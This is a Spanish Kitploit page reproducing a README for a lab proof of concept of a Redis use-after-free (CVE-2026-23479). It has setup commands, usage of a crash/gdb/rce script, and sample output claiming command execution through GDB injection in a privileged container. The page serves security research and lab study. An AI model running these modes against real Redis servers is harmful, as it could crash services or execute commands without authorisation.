Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-23479-Redis-UAF-Proof-of-Concept — Prueba de concepto con explotación asistida por GDB (solo uso educativo / de laboratorio) | Kitploit
Herramientas/GitHubGitHub/rizlmaulanaa/cve-2026-23479-redis-uaf-proof-of-concept
Análisis de VulnerabilidadesExplotaciónDepuradoresAprendizaje y EducaciónSeguridad de Bases de DatosExplotación de BinariosLabs y Práctica
GitHubrizlmaulanaa/cve-2026-23479-redis-uaf-proof-of-concept

CVE-2026-23479-Redis-UAF-Proof-of-Concept

Prueba de concepto con explotación asistida por GDB (solo uso educativo / de laboratorio)

Ver Repositorio
8hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

🔥 CVE-2026-23479 – Prueba de concepto de UAF en Redis

License Python Docker CVE PoC

Use-After-Free en Redis unblockClientOnKey() que conduce a ejecución remota de código
Prueba de concepto con explotación asistida por GDB (solo uso educativo/de laboratorio)


📖 Descripción general

CVE-2026-23479 es una vulnerabilidad crítica de Use-After-Free (UAF) en las versiones de Redis 7.2.0 a 8.6.2.
El error reside en unblockClientOnKey(), que llama a . Si el cliente se libera durante esa llamada (p. ej., por desalojo), el llamador continúa operando sobre un puntero colgante → . Un atacante que pueda manipular el heap después de la liberación podría lograr .

processCommandAndResetClient()
sin comprobar su valor de retorno

UAF

ejecución arbitraria de código

Este repositorio proporciona un PoC asistido por GDB que:

  • Activa la ruta de código vulnerable exacta
  • Demuestra el UAF provocando deliberadamente un fallo (llamada a freeClient())
  • Demuestra la ejecución arbitraria de comandos inyectando una llamada a system() en el mismo punto

⚠️ Importante: Esto no es un exploit armado. Utiliza GDB dentro de un contenedor Docker privilegiado para simular lo que un atacante real podría lograr tras explotar con éxito el UAF.
Úsalo solo en tu propio laboratorio o en sistemas en los que tengas permiso explícito para realizar pruebas.


✨ Características

  • 🧪 Cuatro modos de operación – crash, gdb, rce, full
  • 🐳 Basado en Docker – no es necesario instalar un Redis vulnerable en el host
  • 🔍 Detección automática de versión – comprueba si el objetivo está en el rango afectado
  • 🧹 Autolimpieza – mata las sesiones GDB obsoletas antes de cada ejecución
  • 🎯 Nombre de contenedor flexible – pasa cualquier contenedor mediante --container
  • 📦 Un único archivo Python – cero dependencias más allá de la biblioteca estándar

🧠 Cómo funciona

  1. Bloquear una víctima – Un comando XREAD BLOCK hace que el cliente espere datos del stream.
  2. Adjuntar GDB – GDB se adjunta al proceso de Redis (pid 1) dentro del contenedor.
  3. Establecer un punto de interrupción en processCommandAndResetClient – la función que se llama cuando el cliente bloqueado se vuelve a procesar.
  4. Activar el desbloqueo – Un XADD en el mismo stream despierta a la víctima.
  5. Al alcanzar el punto de interrupción:
    • Modo gdb: llama a freeClient($rdi) → provoca deliberadamente un SIGSEGV → demuestra el UAF.
    • Modo rce: llama a system("your command") → ejecuta comandos shell arbitrarios como el usuario de Redis (root por defecto).
  6. Verificar – el script comprueba si existe el archivo de prueba esperado (RCE) o si Redis se bloqueó (UAF).

El punto de interrupción se activa cada vez que se desbloquea un cliente bloqueado, lo que demuestra que la misma ruta de código que contiene el UAF también permite la ejecución de código.


📋 Versiones afectadas

RamaRango vulnerable
7.27.2.0 – 7.2.13
7.47.4.0 – 7.4.8
8.28.2.0 – 8.2.5
8.48.4.0 – 8.4.2
8.68.6.0 – 8.6.2

El script analiza automáticamente la versión de Redis e informa de si es vulnerable.


🐳 Requisitos previos

  • Docker instalado y en ejecución
  • Python 3.8+ (solo se usa la biblioteca estándar)
  • Una imagen Docker de Redis 8.6.2 que use apt (p. ej., la oficial redis:8.6.2)
  • El contenedor debe crearse con --privileged (requerido para ptrace)

⚙️ Configuración

1. Clonar el repositorio

root@kitploit:~
git clone https://github.com/YOUR_USERNAME/CVE-2026-23479-PoC.git
cd CVE-2026-23479-PoC

2. Iniciar un contenedor Redis vulnerable

root@kitploit:~
docker run -d --name redis-vuln-local --privileged -p 6379:6379 \
  redis:8.6.2 redis-server --protected-mode no

3. Instalar GDB dentro del contenedor

root@kitploit:~
docker exec -u root redis-vuln-local bash -c "
  apt-get update && apt-get install -y gdb binutils procps
"

4. Verificar

root@kitploit:~
docker exec redis-vuln-local gdb --version
redis-cli -h 127.0.0.1 -p 6379 ping   # should return PONG

🚀 Uso

root@kitploit:~
python3 redisexp.py <target> -p <port> -m <mode> --container <name> [--cmd "command"]

Modos

ModoDescripción
crashIntenta activar el UAF mediante presión de memoria (no requiere GDB). Redis puede bloquearse, pero no está garantizado.
gdbAdjunta GDB y llama a freeClient() en el punto de interrupción → fuerza un SIGSEGV (demuestra el UAF).
rceAdjunta GDB y llama a system(cmd) en el punto de interrupción → ejecuta un comando shell dentro del contenedor.
fullEjecuta primero crash; si Redis no se bloquea, recurre a gdb.

Opciones

ArgumentoPredeterminadoDescripción
target(requerido)Dirección IP del servidor Redis
-p, --port6379Puerto de Redis
-m, --modefullUno de crash, gdb, rce, full
--containerenv-redis-vuln-1Nombre del contenedor Docker
--cmdid > /tmp/pwned_by_cveComando a ejecutar en el modo rce

📚 Ejemplos paso a paso

Nota: Todos los comandos se ejecutan desde la máquina host, no dentro del contenedor Docker.

1. Demostrar el UAF mediante GDB

root@kitploit:~
python3 redisexp.py 127.0.0.1 -p 6379 -m gdb --container redis-vuln-local

Salida esperada (extracto)

root@kitploit:~
[+] Victim blocked on XREAD
[+] GDB script deployed
[*] Triggering unblock via XADD...
[+] SIGSEGV in processCommand after freeClient()
[+] This confirms the UAF code path in unblockClientOnKey()

Redis se bloqueará después del fallo de segmentación.

Reinicia el contenedor:

root@kitploit:~
docker start redis-vuln-local

2. Lograr ejecución remota de código (RCE)

Reinicia Redis para garantizar un estado limpio:

root@kitploit:~
docker restart redis-vuln-local

Ejecuta el exploit:

root@kitploit:~
python3 redisexp.py 127.0.0.1 -p 6379 -m rce \
  --cmd "touch /tmp/pwned" \
  --container redis-vuln-local

Verifica el archivo de prueba:

root@kitploit:~
docker exec redis-vuln-local ls -l /tmp/pwned

Si tiene éxito, el archivo existirá, lo que demuestra que:

root@kitploit:~
system("touch /tmp/pwned");

se ejecutó dentro del contenedor de Redis.


3. Activar el UAF sin GDB (presión de memoria)

root@kitploit:~
python3 redisexp.py 127.0.0.1 -p 6379 -m crash --container redis-vuln-local

Si Redis se cierra inesperadamente (el contenedor ya no se está ejecutando), es probable que se haya activado el UAF.

Reinícialo con:

root@kitploit:~
docker start redis-vuln-local

4. Ejecutar la prueba completa

root@kitploit:~
python3 redisexp.py 127.0.0.1 -p 6379 -m full --container redis-vuln-local

Este modo:

  1. Intenta el fallo por presión de memoria.
  2. Recurre al método asistido por GDB si Redis sobrevive.

📸 Salida de ejemplo (modo RCE)

root@kitploit:~
============================================================
  CVE-2026-23479 Redis UAF Exploit PoC
============================================================
[*] Target: 127.0.0.1:6379
[*] Version: 8.6.2
[+] VULNERABLE

[*] Method: RCE via UAF code path injection
    Exploits CVE-2026-23479 UAF in unblockClientOnKey()
    Breakpoint on processCommandAndResetClient -> system()
    Command: touch /tmp/pwned

[+] Victim blocked on XREAD
Successfully copied 2.05kB to redis-vuln-local:/tmp/cve_rce.gdb
[+] GDB RCE script deployed
[+] GDB attached, breakpoint active
[*] Triggering unblock via XADD...
[*] Checking for RCE evidence in /tmp/pwned...
[+] RCE CONFIRMED! Proof file /tmp/pwned created.
[+] Redis alive after exploit

============================================================
  Results
============================================================
  Target:     127.0.0.1:6379
  Version:    8.6.2
  Vulnerable: YES
  RCE:        CONFIRMED (arbitrary command execution)
============================================================

🔧 Modificaciones respecto al script original

El PoC original estaba codificado de forma fija para un contenedor llamado env-redis-vuln-1 y contenía varios problemas al ejecutarse con versiones más recientes de Python.

La versión actualizada introduce las siguientes mejoras:

ProblemaSolución
Nombre de contenedor codificado de forma fijaSe agregó el argumento --container y se propagó por todas las funciones.
Comando file colocado dentro del bloque commands del script GDBSe movió file /usr/local/bin/redis-server antes de attach para que GDB cargue los símbolos correctamente.
subprocess.run() utilizado con capture_output=True y stderr=... a la vezSe reemplazó con stdout=subprocess.DEVNULL y stderr=subprocess.DEVNULL.
Procesos GDB obsoletos que causan ptrace: Operation not permittedSe agregó pkill -9 gdb antes de lanzar GDB tanto en trigger_uaf_gdb() como en trigger_rce().
Sin retroalimentación cuando GDB fallaba silenciosamenteSe agregó registro de depuración para la salida de GDB y se mejoró la detección del archivo de prueba.

🧹 Limpieza

root@kitploit:~
docker stop redis-vuln-local
docker rm redis-vuln-local

⚠️ Descargo de responsabilidad

Esta herramienta está destinada exclusivamente a fines educativos, investigación de seguridad autorizada y pruebas de sistemas que usted posee o sobre los que tiene permiso explícito para evaluar.

El autor no respalda ni fomenta el uso no autorizado o malintencionado.

Obtenga siempre la autorización adecuada antes de probar cualquier sistema de producción o de terceros.


📚 Referencias

  • CVE-2026-23479 – Detalle de NVD
  • Seguridad de Redis
  • Repositorio de GitHub de Redis

Hecho con ❤️ para la comunidad de seguridad.

Mantente ético. Mantente a salvo.

Descargar herramienta